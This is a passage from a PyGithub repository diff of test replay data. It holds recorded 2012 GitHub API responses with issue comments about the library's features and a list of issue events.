delete.","updated_at":"2012-08-22T01:44:09Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7922282","created_at":"2012-08-22T01:44:09Z","user":{"type":"User","events_url":"https://api.github.com/users/pmchen/events{/privacy}","received_events_url":"https://api.github.com/users/pmchen/received_events","gists_url":"https://api.github.com/users/pmchen/gists{/gist_id}","followers_url":"https://api.github.com/users/pmchen/followers","following_url":"https://api.github.com/users/pmchen/following","organizations_url":"https://api.github.com/users/pmchen/orgs","url":"https://api.github.com/users/pmchen","gravatar_id":"a0f9638840c6e593ecddc966e6d01241","starred_url":"https://api.github.com/users/pmchen/starred{/owner}{/repo}","login":"pmchen","avatar_url":"https://secure.gravatar.com/avatar/a0f9638840c6e593ecddc966e6d01241?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/pmchen/repos","subscriptions_url":"https://api.github.com/users/pmchen/subscriptions","id":671751},"id":7922282},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6353712","body":"To enhance the workaround a bit, you can do this to determine if an issue is a PR or not (because all PRs are issues, too):\n```\n if myIssue.pull_request.diff_url:\n PR=True\n else:\n PR=False\n```","updated_at":"2012-08-22T06:56:34Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7926126","created_at":"2012-08-22T06:56:34Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":7926126},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6353712","body":"Thank you! Will use this as a workaround.","updated_at":"2012-08-22T07:10:09Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7926317","created_at":"2012-08-22T07:10:09Z","user":{"type":"User","events_url":"https://api.github.com/users/nixoz2k7/events{/privacy}","received_events_url":"https://api.github.com/users/nixoz2k7/received_events","gists_url":"https://api.github.com/users/nixoz2k7/gists{/gist_id}","followers_url":"https://api.github.com/users/nixoz2k7/followers","following_url":"https://api.github.com/users/nixoz2k7/following","organizations_url":"https://api.github.com/users/nixoz2k7/orgs","url":"https://api.github.com/users/nixoz2k7","gravatar_id":"2a16046c75f59710161ea486d1f5881d","starred_url":"https://api.github.com/users/nixoz2k7/starred{/owner}{/repo}","login":"nixoz2k7","avatar_url":"https://secure.gravatar.com/avatar/2a16046c75f59710161ea486d1f5881d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/nixoz2k7/repos","subscriptions_url":"https://api.github.com/users/nixoz2k7/subscriptions","id":1027413},"id":7926317},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6363719","body":"On-going developments are here: https://github.com/jacquev6/PyGithub/tree/topic/DeleteRepository","updated_at":"2012-08-23T07:43:36Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/7962252","created_at":"2012-08-23T07:43:36Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":7962252},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6454054","body":"I just realized that there is no option to set timeout for github api requests. There is no timeout at all in Requester.\nIn python2.6 was added option timeout for httplib.HTTPConnection and httplib.HTTPSConnection. It seems that it will drop support of python<2.6.\nAnother way to change the way that Requester works. You can use requests library from @kennethreitz. BTW it will simplify whole Requester API.","updated_at":"2012-08-25T19:44:03Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8026699","created_at":"2012-08-25T19:44:03Z","user":{"type":"User","events_url":"https://api.github.com/users/xobb1t/events{/privacy}","received_events_url":"https://api.github.com/users/xobb1t/received_events","gists_url":"https://api.github.com/users/xobb1t/gists{/gist_id}","followers_url":"https://api.github.com/users/xobb1t/followers","following_url":"https://api.github.com/users/xobb1t/following","organizations_url":"https://api.github.com/users/xobb1t/orgs","url":"https://api.github.com/users/xobb1t","gravatar_id":"ae8a2af3de601885a14bb71240e5d1a6","starred_url":"https://api.github.com/users/xobb1t/starred{/owner}{/repo}","login":"xobb1t","avatar_url":"https://secure.gravatar.com/avatar/ae8a2af3de601885a14bb71240e5d1a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/xobb1t/repos","subscriptions_url":"https://api.github.com/users/xobb1t/subscriptions","id":344095},"id":8026699},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6583381","body":"Wow! Upverter is a very impressive project. I have been designing some PCBs myself and always felt bad about storing them and connecting them to source code of embedded software. I'm looking forward the PCB layout and manufacture feature, it will make Upverter very useful for amateur electronics!\n\nI'm very proud and very happy to be a small part of your project, thank you for letting me know.","updated_at":"2012-09-03T08:39:41Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8232572","created_at":"2012-09-03T08:39:41Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8232572},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6454054","body":"Thank you very much for your contribution, I will integrate it this week.\n\n","updated_at":"2012-09-03T08:45:50Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8232695","created_at":"2012-09-03T08:45:50Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8232695},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6353712","body":"I've just contacted Github for this issue.","updated_at":"2012-09-03T08:56:13Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8232940","created_at":"2012-09-03T08:56:13Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8232940},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6583381","body":"Awesome, great to hear some positive feedback! If you're interested in trying out the alpha version of our PCB layout tool, send me your Upverter account name (alex@upverter.com) and I can upgrade you. We're hoping to have the layout and manufacturing tools rolled out to everyone in the next few weeks.","updated_at":"2012-09-04T17:54:47Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8272447","created_at":"2012-09-04T17:54:47Z","user":{"type":"User","events_url":"https://api.github.com/users/malexw/events{/privacy}","received_events_url":"https://api.github.com/users/malexw/received_events","gists_url":"https://api.github.com/users/malexw/gists{/gist_id}","followers_url":"https://api.github.com/users/malexw/followers","following_url":"https://api.github.com/users/malexw/following","organizations_url":"https://api.github.com/users/malexw/orgs","url":"https://api.github.com/users/malexw","gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","starred_url":"https://api.github.com/users/malexw/starred{/owner}{/repo}","login":"malexw","avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/malexw/repos","subscriptions_url":"https://api.github.com/users/malexw/subscriptions","id":577322},"id":8272447},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6583381","body":"PM sent.","updated_at":"2012-09-04T20:07:55Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8276835","created_at":"2012-09-04T20:07:55Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8276835},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6641076","body":"All the APIs described in http://developer.github.com/v3/repos/contents/ are newer than the last version of PyGithub (or at least, I was not aware of them when I published that version).\n\nI will implement them soon, you can expect them middle of next week.\n\nFor reference, if you don't find an API in https://github.com/jacquev6/PyGithub/blob/master/doc/ReferenceOfApis.md then I've not implemented it yet.","updated_at":"2012-09-04T20:11:58Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8276985","created_at":"2012-09-04T20:11:37Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8276985},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6641076","body":"Thanks! I'm looking forward to the next release.\n","updated_at":"2012-09-04T23:38:50Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8282881","created_at":"2012-09-04T23:38:50Z","user":{"type":"User","events_url":"https://api.github.com/users/berndca/events{/privacy}","received_events_url":"https://api.github.com/users/berndca/received_events","gists_url":"https://api.github.com/users/berndca/gists{/gist_id}","followers_url":"https://api.github.com/users/berndca/followers","following_url":"https://api.github.com/users/berndca/following","organizations_url":"https://api.github.com/users/berndca/orgs","url":"https://api.github.com/users/berndca","gravatar_id":"4a43f97dc0112d95d8d713e2fd2a983b","starred_url":"https://api.github.com/users/berndca/starred{/owner}{/repo}","login":"berndca","avatar_url":"https://secure.gravatar.com/avatar/4a43f97dc0112d95d8d713e2fd2a983b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/berndca/repos","subscriptions_url":"https://api.github.com/users/berndca/subscriptions","id":466654},"id":8282881},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6353712","body":"And here is the reply I received from Github:\n\n From: Wynn Netherland\n Subject: API v3, list comments on pull requests\n\n Hi, Vincent. I know it's confusing but we actually have three types of comments on GitHub, so there are\n three different spots in the API to grab them. Be sure you're looking in the right spot for the data you expect.\n\n Pull Request comments are the top-level comments found on the Pull Request page. These are retrieved via\n the Issues API [1] since PRs are essentially specialized Issues. Pull Request review comments are those made\n against the diff on the PR. You can grab these with the Review Comments API [2]. Finally, line comments made\n outside the context of a PR on a raw commit can be retrieved via the Commit Comments API [3].\n\n Armed with that info, let me know if you're not seeing the data you expect and the API call you're making, and I\n can dig a bit deeper.\n\n [1] http://developer.github.com/v3/issues/comments/\n [2] http://developer.github.com/v3/pulls/comments/\n [3] http://developer.github.com/v3/repos/comments/\n\n Cheers,\n\nSo, this is coherent with what we can see here: https://github.com/jacquev6/PyGithub/pull/57, as `PullRequest.get_comments` uses the Pull Requests API. @nixoz2k7 Is it coherent with your original issue as well?\n\nAnyway, this is misleading, so I will add two methods named `get_issue_comments` (using the Issues API) and `get_review_comments` (synonym for `get_comments`, using the Pull Requests API). Expect this for the middle of next week.","updated_at":"2012-09-05T06:36:26Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8288983","created_at":"2012-09-05T06:36:26Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8288983},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6653907","body":"Thank you, I was just going to open an issue for that. No need to hurry because of this, though, I won't need it too soon. :-)","updated_at":"2012-09-05T07:08:11Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8289525","created_at":"2012-09-05T07:08:11Z","user":{"type":"User","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/bilderbuchi/repos","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","id":327442},"id":8289525},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6653907","body":"I think I'll do it for the middle of next week","updated_at":"2012-09-05T14:21:16Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8300374","created_at":"2012-09-05T14:21:16Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8300374},{"issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/6611093","body":"Just published on [PyPi](http://pypi.python.org/pypi/PyGithub).","updated_at":"2012-09-05T17:56:28Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/8307659","created_at":"2012-09-05T17:56:28Z","user":{"type":"User","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","organizations_url":"https://api.github.com/users/jacquev6/orgs","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","repos_url":"https://api.github.com/users/jacquev6/repos","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","id":327146},"id":8307659}] - diff --git a/tests/ReplayData/Repository.testGetIssuesEvents.txt b/tests/ReplayData/Repository.testGetIssuesEvents.txt index 660b318b71..87e726e97e 100644 --- a/tests/ReplayData/Repository.testGetIssuesEvents.txt +++ b/tests/ReplayData/Repository.testGetIssuesEvents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4923'), ('content-length', '85910'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"7ad8520585258c37864643b4719cbecc"'), ('date', 'Sun, 27 May 2012 07:11:23 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16347480","issue":{"updated_at":"2012-05-27T05:40:15Z","body":"Body created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/30","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":30,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Issue also created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-27T05:40:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4769659,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/30"},"commit_id":null,"created_at":"2012-05-27T05:40:15Z","event":"assigned","id":16347480,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16347479","issue":{"updated_at":"2012-05-27T05:40:15Z","body":"Body created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/30","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","closed_issues":2,"open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":30,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":null,"title":"Issue also created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-27T05:40:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4769659,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/30"},"commit_id":null,"created_at":"2012-05-27T05:40:15Z","event":"subscribed","id":16347479,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16333959","issue":{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","closed_issues":3,"open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546},"number":28,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4653757,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/28"},"commit_id":null,"created_at":"2012-05-26T14:59:34Z","event":"closed","id":16333959,"actor":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16333938","issue":{"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","closed_issues":3,"open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546},"number":28,"assignee":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project 